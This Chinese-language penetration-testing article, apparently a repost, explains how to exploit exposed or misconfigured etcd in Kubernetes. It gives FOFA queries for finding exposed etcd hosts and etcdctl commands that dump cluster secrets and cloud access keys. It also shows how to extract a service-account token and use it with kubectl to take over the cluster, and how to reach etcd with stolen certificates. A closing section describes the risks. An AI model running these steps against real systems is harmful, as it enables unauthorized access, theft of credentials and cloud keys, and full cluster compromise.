一、etcd介绍

Etcd是一个具有强一致性的分布式 key-value 存储组件(也是一个高可用的分布式键值对数据库)。采用类似目录结构的方式对数据进行存储，仅在叶子结点上存储数据，叶子结点的父节点为目录，不能存储数据。它为k8s集群提供底层数据存储。多数情形下，数据库中的内容没有经过加密处理，一旦etcd被黑客拿下，就意味着整个k8s集群失陷。

其是由 CoreOS 团队于 2013 年 6 月发起的开源项目，基于 Go 语言实现，距今已将近 10 年时间，目前在 Github 上已有 40K 的 Star 数和 8.6K 的 Fork 数，社区非常活跃，有超过 700 位贡献者。从版本整体发展历史来看，Etcd 主要有 v2 和 v3 两个版本，v3 版本较 v2 版本相同点在于它们共享一套 Raft 协议代码，不同点在于两个版本的数据是相互隔离的，即若将 v2 版本升级至 v3 版本，原来的 v2 版本的数据还是只能用 v2 版本的接口访问，而不能被 v3 版本的接口所访问。

etcd使用比较多的场景包括服务注册与发现、键值对存储、消息发布订阅等。

在kubernetes中，etcd存储集群状态和配置信息，以用于服务发现和集群管理。

本文主要是简单介绍etcd在渗透时的利用。

二、etcd利用

1.网络资产引擎搜集etcd

FOFA

fofa语法: Etcd && port="2379"

fofa语法: Etcd && port="2379" && country="CN" //搜中国这边etcd协议并且是2379端口的ip/域名

2.目前，etcd 启动后监听 2379 和 2380 两个端口，前者用于客户端连接，后者用于多个 etcd 实例之间的端对端通信。在多节点集群中，为了实现高可用，etcd 往往在节点 IP 上进行监听，已实现多节点的互通。

默认情况下，两个端口提供的服务都需要相应证书才能访问，并禁止匿名访问，来保证安全性。如果攻击者获取了证书，或者允许匿名访问，就可以直接获取 ectd 内的数据。

etcdctl --endpoints https://localhost:2379 --cert /etc/kubernetes/pki/etcd/server.crt --key /etc/kubernetes/pki/etcd/server.key --cacert /etc/kubernetes/pki/etcd/ca.crt get /registry/serviceaccounts/kube-system/default -o json

3.etcd搭配SSRF

etcd在配置错误/搭配SSRF利用时，访问到etcd=接管集群。位于K8s master node 对内暴露2379端口，本地127.1可免认证访问，其他地址要带参数和cert进行认证。--endpoint

文档:

• https://kubernetes.io/zh/docs/concepts/overview/components/
• https://etcd.io/docs/

未授权访问的情况

ETCD V2和V3是两套不兼容的API，K8s用V3，通过环境变量设置API V3：

export ETCDCTL_API=3

检查是否正常连接

etcdctl endpoint health 

127.0.0.1:2379 is healthy: successfully committed proposal: took = 939.097µs

查看K8s的秘密

etcdctl get / --prefix --keys-only | grep /secrets/

获取集群中保存的云产品AK，横向移动：

etcdctl get /registry/secrets/default/acr-credential-518dfd1883737c2a6bde99ed6fee583c

读取服务帐户令牌

etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterrole

在返回值末尾取 开始到末尾之前的这部分：ey``#kubernetes.io/service-account-token``#

通过token认证访问API-Server，接管集群：

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods

需要认证的情况

尝试读取etcd数据

etcdctl get / --prefix --keys-only
Error: dial tcp 127.0.0.1:2379: getsockopt: connection refused

结果返回本地2379连接失败，netstat看下发现监听的是172段，这种情况下需要指定endpoint带cert进行访问，认证失败会返回。Error: context deadline exceeded

[root@iZbp13l0dv5x8ke1jmrpihZ cert]# netstat -antp | grep LISTEN
tcp        0      0 127.0.0.1:10248         0.0.0.0:*               LISTEN      2917/kubelet
tcp        0      0 127.0.0.1:10249         0.0.0.0:*               LISTEN      4801/kube-proxy
tcp        0      0 172.16.0.112:2379       0.0.0.0:*               LISTEN      3222/etcd
tcp        0      0 172.16.0.112:2380       0.0.0.0:*               LISTEN      3222/etcd
tcp        0      0 127.0.0.1:10253         0.0.0.0:*               LISTEN      4628/cloud-controll
tcp        0      0 127.0.0.1:10257         0.0.0.0:*               LISTEN      4134/kube-controlle
tcp        0      0 127.0.0.1:10259         0.0.0.0:*               LISTEN      4150/kube-scheduler
tcp        0      0 127.0.0.1:33941         0.0.0.0:*               LISTEN      2917/kubelet
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      3465/sshd

带cert访问etcd

[root@iZbp13l0dv5x8ke1jmrpihZ cert]# ls
172.16.0.112-name-1.csr      172.16.0.114-name-3.csr      ca.pem               etcd-server.pem
172.16.0.112-name-1-key.pem  172.16.0.114-name-3-key.pem  etcd-client.csr      peer-ca-config.json
172.16.0.112-name-1.pem      172.16.0.114-name-3.pem      etcd-client-key.pem  peer-ca.csr
172.16.0.113-name-2.csr      ca-config.json               etcd-client.pem      peer-ca-key.pem
172.16.0.113-name-2-key.pem  ca.csr                       etcd-server.csr      peer-ca.pem
172.16.0.113-name-2.pem      ca-key.pem                   etcd-server-key.pem
[root@iZbp13l0dv5x8ke1jmrpihZ cert]# etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://172.16.0.112:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health
https://172.16.0.112:2379 is healthy: successfully committed proposal: took = 2.084526ms

三、Etcd数据库未授权访问可能产生的风险

kubernetes的master会安装etcd v2/etcd v3用来存储数据，如果管理员进行了错误的配置，导致etcd未授权访问的情况，那么攻击者就可以从etcd中拿到kubernetes的认证鉴权token，从而接管集群。或者可以从etcd中拿到来自该企业向各大云服务器厂商购买的云服务器相应的AK密钥和SK密钥(从而可以让国内外不法分子给企业进行勒索呀,投毒等等)

在真实的场景中，还有一些应用使用etcd来存储各种服务的账号密码、公私钥等敏感数据。而很多etcd服务的使用者完全没有考虑过其安全风险，这种情况和redis的使用情况差不多，在企业内网比较普遍，甚至也有大部分人会将其开放到公网

文中来源：https://zone.huoxian.cn/d/1355-k8setcd